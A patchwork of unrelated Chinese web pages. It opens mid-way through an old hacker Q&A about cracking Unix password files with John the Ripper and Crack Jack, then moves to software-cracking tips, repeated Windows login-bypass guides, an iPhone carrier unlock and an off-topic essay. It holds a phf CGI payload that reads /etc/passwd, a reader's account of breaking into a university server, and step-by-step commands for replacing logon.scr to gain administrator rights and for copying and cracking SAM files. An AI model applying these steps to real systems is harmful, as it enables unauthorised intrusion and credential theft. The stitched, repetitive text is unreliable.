that server and tryto found every hole would be in that system. And try to get into the system.After you get in. get more information from that server.[Q8]我系你度罗o左个Guess Cracking Program ! 不过我都系唔知点样用! 我Upload晒所有档案上去ISP Server 度! 然後就按cc -o guess getpwdent.c <-例如就话我D规格错误! 搅到我用唔到![A8]some ISP did not support c compiler function. So you should check about it.[Q9]点样o既档案先可以系SUN / OS 度用嫁? 我搅o黎搅去都整唔到执行档! 咪就系Guess 个程式罗![A9]Sun OS always use shadow program. And the shadowed file may not found in/etc directory, And may called '.shadow'. try found it in other directory.[Q10]Global Kos 个Server 系咪有问题啊? 我上极去都上唔到啊! 如果唔介意可唔可以Attach个档案俾我啊?[A10]There's a little problem to that server. and i think it have been shut-downa while. So i will be put the program in my home page.[Q11]Crack Jack 1.4 系唔系可以系Sun/Os Or Unix 度用o架? 我有个朋友叫我用系个Server 做Crack Password ! 但系我就唔知点样可以用DOS o既*.exe 档系SUN/Os OR UNIX 度执行![A11]CJack is running under dos mode. And it could not run under unix mode.So if you want crack some password file. FTP it and put it into a dos OSmachine. Run CJack! 当然如果你坚持要在Unix 系统下跑的话, 还是有这种软体的, 最近新版的John the Ripper V1.4 就有附Source Code 可以让你在你的主机上面Compiler.... 但前提是你必须要有 c compiler 的权限呀~~ 快找一台机器吧!***[Q12]我对hacker这门课有些兴趣(虽然我一窍不通:-P ).想请教您几个问题:我使用" John the Ripper V1.0 " 来crack一个名叫"passwd"的密码档,但是很奇怪的,我执行後,显示了一些字,就跳回DOS了.好像根本没有执行crack的动作. 您能帮小弟找出原因吗?画面如下:C:\Hacker>john -beep -w:123.txt passwdJohn the Ripper Version 1.0 Copyright (c) 1996 by Solar DesignerLoaded 0 accounts with 0 different saltsC:\Hacker>123.txt是"字典档"(其实是四,五十个ID); passwd则是我们的"目标:密码档.[A12]很正确的指令, 不过0 accounts with 0 different salts 就有点怪了~~~据我的判断你的passwd 档是shadow 过的档, 没有用~~~~ 所以John 找不到"有效的" 资料来判读~~~ 新版的John 有一个UnShadow.exe 的档案, 据说可用来组合shadow 及passwd 使其还原, 不过前提还是要两个档都抓到, 如果只抓到一个档是没有用的!! 记得上次有个软体声称其注册版可以解shadow..应改也是必需要先抓到shadow 档吧!~~ 不过这好像没有甚么意义呀~~[Q13]您听过一个叫: LANWATCH 的软体吗? 我听说它可以:过滤(拦截)Internet上的封包资料,并可"监视"使用者的一举一动?! 哇!!!太帅了!您有它的相关资料吗?[A13]No~~ 没玩过~~ 不过你是用拨接上线吗??? 那就别想了~~~~:)[Q14]我这里有个浏览器的Bomb(用java写的).据我自己(太牺牲了...)的测试,不论你是用Netscape或MSIE, 它都会让你的浏览器一直重复开很多个视窗,直到记忆体耗完为止!!! :-P 不知您有无兴趣想要看看?[A14]我也有个可FORMA T C: 的JA VA... 不过没用就是了~~ 哈哈~ 这种东西少玩....我宁愿多破几间站台~~~ 嘻::::::: 快把Java Option 关掉吧! 免得以後看我的Page 会Formatting ?? <-- 开玩笑啦~~~***[Q15] 感谢您在网页上的资讯造福了我们这些刚入门的新手^_^根据您提供的方法,成功的取得Linux.xxxxxxx.xxxx.xxx.tw 的/etc/passwd 并找出n个password ..... 但我在.tw 却碰了大钉子...:(他们的/etc/passwd 是shadows 的, 我猜真正的password 可能在/etc/master.passwd, 但我没权限读取它.... 经尝试了您网页提供的3 个Unix & Linux 的漏洞仍无效.不知您有没有方法解决被shadow 的passwd....??提供一个帐号您可进去看 ... login: ****** password: **** (这是淡大的密码格式: 4位数字) 另,在bbs 的security 版有人提出现在的www cracker 法:www.xxx.xxx/cgi-bin/phf?Qalias=x%0aless%/20/etc/passwd 问题是出在phf , 您知不知道他的意思?[A15] phf 的漏洞是在於phf 本身自己的Bug, 它并不会检查你的UID, 且它执行了system()这个指令, 所以我们就可以利用它来作一些只有root 才可以作的一些事情, 这是一个很大的漏洞, 现在很多ISP 都已经将此漏洞补上了~~~~ 这一篇文章中的说明应该就很清楚了如何破解系统(7)这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑,我是CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人Crack Password 若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责!!写这些文章真的花了蛮多时间的, 我也没办法确定甚么时候可以写好下一篇, 所以没有办法预告, 因为预告不准的话会挨骂的. 以後写CoohHC 的时间会少很多的, 因为工作越来越多的关系, 希望大家见谅, 如果一两个月才出现一篇的话也不要骂我喔~ 如果你曾经用印表机把这些文章一篇篇的印出来的话, 你就应该知道写这些东西有多辛苦了,上次在朋友那边看到, 差点吐血!事实上, CoolHC 写到这里已经没有甚么可以多讲的了, 因为有很多东西并不是用技巧来破解, 我们所使用的都是系统的漏洞. 而这些漏洞, 有些由於已经出现了很久, 所以有些网站。

十招教你学会破解

9. 关于软件的反安装问题：经常我们使用某些软件时都会遇到一个问题，就是共享软件过期之后即使删掉原程序重新安装，程序依然不能用，还是一样提醒你试用期已过请注册；或者是你已经破解了某个软件，但是还想继续研究它，但是因为软件已经注册好，没有了注册选项，这时你即使彻底删掉程序再重新安装软件，结果程序运行后还是注册过的。遇到这样的情况，其实原因很简单，因为程序将注册或过期信息存在了系统注册表里，所以简单的重新安装软件是无济于事的。解决的办法就是自己删掉注册表中有关的信息，但是因为注册表是WINDOWS系统工作的基础，如果不小心就很可能会损坏它而引起系统异常，所以如果你对注册表不是很熟的话，应该在修改之前备份一下注册表。不论是修改还是备份注册表都可以使用WINDOWS下的注册表管理工具"REGEDIT"来进行，一种办法是在"开始->运行"下输入"regedit"启动它，也可以直接点击"C:\WINDOWS\regedit.exe"来运行。大部分的应用软件都会将自己的信息存在如下的路径中：HKEY_LOCAL_MACHINE\Software、HKEY_LOCAL_MACHINE\Software\Microsoft、HKEY_CURRENT_USER\Software、HKEY_CURRENT_USER\Software\Microsoft 或 HKEY_USERS\.DEFAULT\Software下，具体是哪个地方依据不同的程序而有所不同，只要按上面的顺序肯定能找到有关应用程序的键，然后将和用户名及注册码有关的键值删掉就搞定了。
****:******** JNZ ******** （或 JZ ********等形式）
其中EAX和EDX指向的内存区域就是我们输入的注册码和正确的注册码，这里的寄存器EAX和EDX是随意写的，也可以是ECX，EBX，EDI，ESI等等。对于注册码隐式存在的程序，虽然不能直接看到正确的注册码，但是通常也是先将所输入的注册码地址放进某个寄存器，然后调用子程序去验证，破解时就需要进入子程序去分析注册算法。总之，看到子程序（call ********）后面跟着跳转指令（JNZ ********或JZ ********）的地方我们就应该提高警惕，多用 D EAX（或EBX、ECX、EDX、EDI、ESI...等）去看看寄存器指向的内存区域藏着什么东西。有一点大家要提醒大家：看见程序中使用下面这个函数是要注意，即GetDlgItenInt，这个API函数的作用是将输入的文本转化为整数，所以这类程序中是不会有显示存在的注册码的，因为注册码被转换为整数了，程序通常会用CMP ECX,EDX 这种类型的指令去验证注册码的正确性，这里ECX和EDX中存的就是所输入注册码和正确注册码的整数形式，此时可以用 ? edx 和 ? ecx 看到其十进制形式，即我们输入的形式。

教你9招破解多种系统登陆密码方法

如果你是一个很容易遗忘的人，那么一定不要忘记在第一次设置密码的同时创建一张可以恢复Windows XP中的账户密码的启动盘，它可以让你免去格式化硬盘的烦恼。

从“控制面板”中找到“用户账户”项，选中自己的账户进入如图所示的控制界面，我们可以看到左侧任务列表中有一项“阻止一个已忘记的密码”，点击后便可打开“忘记密码向导”，向导会提示插入一张格式化过的空白磁盘，操作过程中会让你输入该账户所使用的密码，很快便可以创建一张密码重设盘。

以后，当我们忘记了账户密码的时候，在没有使用“欢迎屏幕”登录方式的情况下登录到Windows XP后，按下“Ctrl + Alt + Del”组合键，出现“Windows 安全”窗口，点击选项中“更改密码”按钮，出现更改密码窗口。

这个窗口中，将当前用户的密码备份，点击左下角“备份”按钮，激活“忘记密码向导”，按照提示创建密码重设盘。

如果在Windows XP的登录窗口输入了错误的密码，就会弹出“登录失败”窗口，如果你的确想不起来自己的密码是什么时，可点击“重设”按钮，启动密码重设向导，通过刚才所创建的密码重设盘，就可以用这张密码重设盘更改密码并启动系统。

重新设定密码，登录Windows XP。

“密码重设盘”的创建，含有一定的危险性，因为任何人都可以使用这一张“密码重设盘”来登录Windows XP，都可以以该用户的名义进入用户帐户，操作真正用户所能操作的一切，所以必须将“密码重设盘”保存在适当的地方，以防丢失或失泄密。

方法1——利用“administrator”(此方法适用于管理员用户名不是“administrator”的情况)我们知道在安装Windows XP过程中，首先是以“administrator”默认登录，然后会要求创建一个新账户，以进入Windows XP时使用此新建账户登录，而且在Windows XP的登录界面中也只会出现创建的这个用户账号，不会出现“administrator”，但实际上该“administrator”账号还是存在的，并且密码为空。

教你9招破解系统登陆密码

出处：多特软件站时间：2009-09-21 人气：13537我要提问我来说两句核心提示：果你是一个很容易遗忘的人，那么一定不要忘记在第一次设置密码的同时创建一张可以恢复Windows XP中的账户密码的启动盘，它可以让你免去格式化硬盘的烦恼。

首先提议：如果你是一个很容易遗忘的人，那么一定不要忘记在第一次设置密码的同时创建一张可以恢复Windows XP中的账户密码的启动盘，它可以让你免去格式化硬盘的烦恼。

以后，当我们忘记了账户密码的时候，在没有使用“欢迎屏幕”登录方式的情况下登录到Windows XP 后，按下“Ctrl + Alt + Del”组合键，出现“Windows 安全”窗口，点击选项中“更改密码”按钮，出现更改密码窗口。

这个窗口中，将当前用户的密码备份，点击左下角“备份”按钮，激活“忘记密码向导”，按照提示创建密码重设盘。

重新设定密码，登录Windows XP。

教你如何破解系统登陆密码

教你如何破解系统登陆密码教你如何破解系统登陆密码系统密码是你登录到操作系统时所使用到的密码，它为你的计算机提供了一种安全保护，可以使你的计算机免受非法用户的使用，从而保障电脑和机密数据的安全。

但是，如果我们忘记了系统密码，又不能随便重装系统，我们就只有想办法来破解密码了。

1、Windows98/ME的系统登录密码1）取消法最简单的一种方法是在系统登录要求输入密码时，你什么也不用输入，直接点击取消，可以进入操作系统。

但用此种方法只能访问本机的资源，如果计算机是局域网的一部分，你将不能访问网络资源。

2）新增使用者当你由于密码问题被挡在系统之外时，不妨为系统再新增一个使用者，然后重新登录，一样可以登录系统并访问系统或网络资源。

单击“开始”——“设置”——“控制面板”，然后双击“用户”，打开“用户属性”对话框。

接着，根据提示依次输入“用户名”、“密码”、“个性化项目设置”中所需的内容，最后单击“完成”。

3）删除“PWL”文件删除Windows安装目录下的.PWL密码文件和Profiles子目录下的所有个人信息文件，然后重新启动Windows，系统就会弹出一个不包含任何用户名的密码设置框，我们无需输入任何内容，直接点击“确定”按钮，Windows密码即被删除。

4）修改注册表运行注册表编辑器，打开注册表数据库“HKEY＿LOCAL＿MAC HINE\Network\Logon”分支下的“username”修改为“0”，然后重新启动系统，也可达到去掉密码的目的。

2、破解WindowsNT密码如果你有普通用户账号，有一个很简单的方法获取NTAdministr ator账号：先把c:\winntsystem32下的logon.scr改名为logon.old备份，然后把usrmgr.exe改名为logon.scr再重新启动。

logon.scr是系统启动时加载的程序，重新启动后，不会出现以往的登录密码输入界面，而是用户管理器，这时你就有权限把自己加到Administrator 组。

只需五个步骤轻松破解XP系统的登陆密码

方法五：
我们知道在安装Windows XP过程中，首先是以”administrator”默认登录，然后会要求创建一个新账户，以便进入Windows XP时使用此新建账户登录，而且在Windows XP的登录接口中也只会出现创建的这个用户账号，不会出现”administrator”，但实际上该”administrator”账号还是存在的，并且密码为空。在开机时，按下F8进入”带命令提示符的安全”模式
输入”NET USER+用户名+123456/ADD”可把某用户的密码强行设置为”123456″
Windows XP强大而友好的系统界面博得了越来越多用户的青睐，然而它对用户安全性的审核即是非常严格的，要是你忘记了设置的口令(密码)，可别以为能够像Windows98那样选择“取消”同样可以进入系统--这一点相信安装Windows XP的你，是很清楚的。当然这也是有过痛苦的经历后，才被我们重视的。
只需五个步骤轻松破解XP系统的登陆密码
由于没有登陆密码，无法进入系统;起初的方法总是选择重新安装Windows XP，但这种方法但繁琐，而且费时费力，经过多次实验之后，终于找到了一个可以不需要任何其它软件。
由于没有登陆密码，无法进入系统;起初的方法总是选择重新安装Windows XP，但这种方法但繁琐，而且费时费力，经过多次实验之后，终于找到了一个可以不需要任何其它软件，就可破解Windows XP登录口令的方法：
net localgroup administrators alanhkg888/add
5.完成上列步骤后重新启动计算机，在启动画面上便增加了一个用户alanhkg888了，选alanhkg888进入
6.登入后在〔控制台〕→〔使用者账户〕→选忘记密码的用户，然后选〔移除密码〕后〔等出〕

论破解复杂系统的方法与技巧

论破解复杂系统的方法与技巧在当今社会，我们经常面对着各种各样的复杂系统。

这些系统有些是人类设计出来的，例如电子设备、交通系统、金融系统等等；另一些则是自然形成的，例如生态系统、气候系统、生物系统等等。

无论是哪种系统，它们都非常复杂，且常常相互影响。

我们要破解这些系统，需要一些方法和技巧。

一、分析系统的结构首先，我们需要将复杂系统分割成若干个组成部分，以了解系统的结构。

这个过程叫做“分析系统的结构”。

通过对系统结构的分析，我们可以逐步深入，理解系统的各个组件之间的联系和相互作用。

例如，分析网络系统的结构，可以将网络拆分成交换机、路由器、服务器等组件，通过分析各个组件的连接方式和信息流动规律，得知网络系统的运作方式，从而可以更好地解决网络故障。

二、建立模型其次，我们需要建立模型，即将复杂系统抽象成一个简化的模型，以便更好地理解系统的行为规律。

建立模型需要对系统的各个组成部分进行抽象，通过建立数学模型、物理模型或计算机模型等方法，将复杂系统映射到一个抽象空间内。

例如，利用数学模型将一个市场系统抽象为一个竞争者之间的博弈论模型，通过对模型的分析，了解市场的行为规律，从而更好地制定市场策略。

三、数据分析第三，数据分析在破解复杂系统中也起到很重要的作用。

通过收集数据、分析数据之间的关联性和模式，我们可以更准确地预测系统的行为规律。

例如，利用大数据技术对气象数据进行分析，可以推断出未来几天的气象状况，进而在生产、业务等方面做好相应的准备。

四、跨学科交叉此外，破解复杂系统需要跨越各个学科领域的交叉。

例如，分析生物系统需要涉及生物学、生态学、物理学等学科。

利用跨学科交叉的方法理解和解决问题，能够更加深入地了解系统的规律性，为制定科学的解决方案提供可靠的依据。

五、不断验证和迭代最后，我们需要不断验证和迭代我们的方法和技巧。

复杂系统的表现常常随着时间的变化而变化。

因此，我们需要利用数据分析和实验等方法对解决方案进行验证，在发现问题时进行不断迭代和优化。

iphone5 4G破解

总体分为2大步骤，第一步越狱，第二步破解。

第一步——越狱，令手机支持安装破解插件人品好的可以直接用天机刷机大师越狱成功，其支持的内核版本范围为iOS8.1.3-8.4（相关的下载链接见文后，下同）；不能直接越狱成功、又想保留系统当前设置、数据和程序不变的，则稍微麻烦些，可以参照以下步骤来实现越狱和数据恢复：1、安装iTunes，如果已经安装可跳过此步骤，但要求版本至少是11以上的；2、下载太极刷机大师，并用其中的备份功能进行itunes模式的部分或全面备份（全面备份含应用程序，但个别应用经本人试验无法恢复需重装）；3、再在刷机大师中下载并刷入一个最新的IOS8.4系统固件（刷机大师会自动匹配的，注意手机设为飞行模式以免被干扰）；4、然后用刷机大师进行越狱，越狱前手机需设为飞行模式，并关闭设置中的“密码”和设置-iCloud中的“查找我的Iphone”功能；5、越狱成功后，即可用刚才的备份文件恢复数据、程序（这一小步骤也可在第二大步骤完成后再搞）；第二步——破解，令手机支持和显示电信4G功能：1、越狱成功后，在Cydia应用（该应用越狱后自动安装上）中添加源：，安装里面的commcenter patch for ios8；（添加源的方法见文后的链接网页）2、打开Windows下的CMD命令行窗口，在其中输入："C:\Program Files\iTunes\iTunes.exe" se tPrefInt carrier-testing 1以让其支持导入.ipcc后缀的运营商配置文件。

（注意：前面引号内的程序路径可直接拷贝iTunes桌面快捷图标属性中的目标路径；）4、运行iTunes，连接手机后，导入下载的ipcc文件（注意在按住shift键后点击“恢复Iphone”按钮）5、重启手机，打开4G开关，恭喜你，你已经是真正的4G用户啦！相关链接和参考文章：1、太极网站和太极刷机大师下载链接//p/taigpro_install/20150616/Setup_TaigPro1.2.2.46 876_taigpro.exe2、Cydia中添加源的方法：/article/49ad8bce75ba345834d8fa8f.html3、电信4G破解网文链接/read-htm-tid-8782501.html4、相关的ipcc文件下载链接，请注意自己的系统内核版本（5和5S均可用）：iOS8.0~8.1.3请下载：/temp16/201506/26/6/ChinaTelecom_5s_iOS8.0 ~8.1.3_4G_band1%2C3_19.7.ipcciOS8.2~8.3请下载：/temp16/201506/26/0/ChinaTelecom_5s_iOS8.2 ~8.3_4G_band1%2C3_19.7.ipcciOS8.4请下载：/temp16/201507/01/6/ChinaTelecom_5s_iOS8.4 _4G_band1%2C3_20.2.ipcc。

关于系统密码破解的问题

小技巧阅读41 评论0随着电脑在各行业普及，人们对电脑的应用也越来越多，同时人们对自己的信息安全也越来越关注，各种加密算法不断出现，公司里的员工纷纷都将自己的文件、电脑加了把锁，可是，很多人在给自己的电脑加锁之后却丢了钥匙---密码。

再你丢了相关密码之后怎么办？不要急，让我慢慢给你讲相关的开锁方法。

一、忘记开机密码开机密码是指你在打开电脑开机自检后就跳出的密码。

这时你只有输入正确的密码后操作系统才启动。

这种密码出现时，你就想进入电脑的B IOS设置都不行，所以安全性相对要好（建议笔记本电脑不要设置此类密码。

因为一旦忘记密码，然后又丢了相应的解密盘的话，你可就要去笔记本产商维修店去烧钱了）。

解决方法：打开机箱，把主板上的CMOS锂电池取出来，过一会儿（5 -10分钟），再放进去,密码自动消失。

原理：因为开机密码是通进BIOS设置的，它会保存在主板上CMOS 中，这种存储器在长时间掉电后内容会消失，所以密码也随之消失。

二、忘记BIOS设置密码BIOS设置密码是在开机自检过程中通过按相应键（不同BIOS的键不同，Aword、与AMI的为DEL）进入BIOS进行设置时的密码，开机密码也是的在这里边设置的。

此密码是对BIOS设置的权限进行保护。

不影响操作系统的启动。

解决方法：可以通过CMOS放电，但最好是用debug来清除它。

因为总是翻弄电脑硬件，会使它的使用寿命更短。

在启动操作系统后，进入DOS环境，输入debug命令，这时会出现“-”的输入提示符，然后输入以下命令-o 70 10-o 71 10-q相信通过此操作，就能清除密码。

原理：命令行中都用到了70和71两个数字，这是因为CMOS中数据访问是通过70和71这两个I/O端口来实现的。

端口70H是一个字节的地址端口，用来设置CMOS中数据的地址，而端口71H则是用来读写端口70H设置CMOS地址中的数据单元内容。

三．忘记Windows98的登录密码有的员工会通过更改Windows注册表和相应的登录方式来限制登录，输入不正确就会提示相应的信息而且不能登录。

破解WIN系统密码方法

方法一：(1)启动电脑，使用DOS启动盘(比如：Windows 98启动盘)进入纯DOS状态。

(2)在DOS提示符下，根据下面步骤操作：cd\ (切换到根目录)cd windows\system32 (切换到系统目录)mkdir temphack (创建临时文件夹)copy logon.scr temphacklogon.scr (备份logon.scr)copy cmd.exe temphackcmd.exe (备份cmd.exe)del logon.scr (删除logon.scr)rename cmd.exe logon.scr (将cmd.exe改名为logon.scr)exit (退出)幕保护时间，大约10分钟，系统就会自动启动登录屏保程序，可是由于Logon.scr已经由cmd.exe代替了，所以系统就启动了cmd.exe，进入命令行提示符状态。

(4)这时，我们可以使用命令：net user password来修改密码了。

假设有一个超级管理员的帐号是Admin，希望重新设置其密码为admin，那么可以使用命令：net user Admin admin，回车后即可更改密码。

(5)接下来，想不想进入桌面系统看看硬盘上面的东西呢？在命令行提示符状态下输入Explorer命令试试看，是不是很顺利地进入了Windows的桌面？小提示如果你有一个普通用户帐号，利用上面介绍的方法稍作改动就可以把它变成超级管理员Administrator帐号。

备份logon.scr和usermgr.exe，将第二步中的cmd.exe全部换成usermgr.exe，然后重启，静静等候，这时出现的不是命令行提示符，而是用户管理器，这时我们就有权限把自己加到Administrator组了。

方法二：由于WindowsXP在安装过程时，首先以Administrator默认登陆，有不少朋友没有注意到为它设置密码，而是根据要求创建一个个人的帐户，以后进入系统后即使用此帐户登陆，而且在WindowsXP的登录界面中也只出现这个创建的用户帐号，而不出现Administrator，实际这个帐号依然存在，而且密码为空。

9招教你破解系统密码

方法5——使用Win 2000安装光盘引导修复系统(前提……很明显吧?就是你要有一张Win 2000安装光盘)
使用Windows 2000安装光盘启动电脑，在Wndows2000安装选择界面选择修复Windows 2000(按R键);，然后选择使用故障控制台修复(按C键)，系统会扫描现有的Window2000/XP版本。一般只有一个操作系统，所以只列出了一个登录选择(l:C:Windows)。从键盘上按l，然后回车，这个时候，Window XP并没有要求输人管理员密码，而是直接登录进入了故障恢复控制台模式(如果使用的是Windows XP安装光盘启动的，那是要求输人管理员密码的。这里指的管理员是指系统内建的Administraor账户)熟悉Windows的朋友都知道，故障恢复控制台里面可以进行任何系统级别的操作，例如:复制、移动、删除文件，启动、停止服务，甚至格式化、重新分区等破坏性操作。
方法3——从SAM文件中找密码(前提……会使用DOS基本命令就行)
在系统启动前，插入启动盘，进入:C:WINNTSystem3Config 用COPY命令将SAM文件复制到软盘上。拿到另一台机子读取。这里需要的工具是LC4，运行LC4，打开并新建一个任务，然后依次击“IMPORT→Import from SAM file”，打开已待破解的SAM文件，此时LC4会自动分析此文件，并显示出文件中的用户名;之后点击“Session→Begin Audit”，即可开始破解密码。如果密码不是很复杂的话，很短的时间内就会得到结果。
不过，如果密码比较复杂的话，需要时间会很长，这时我们就需要用下面的方法了。
方法4——用其他SAM文件覆盖(前提是你可以得到另外一台电脑的SAM文件和它的密码……个人觉得是最为可行的办法)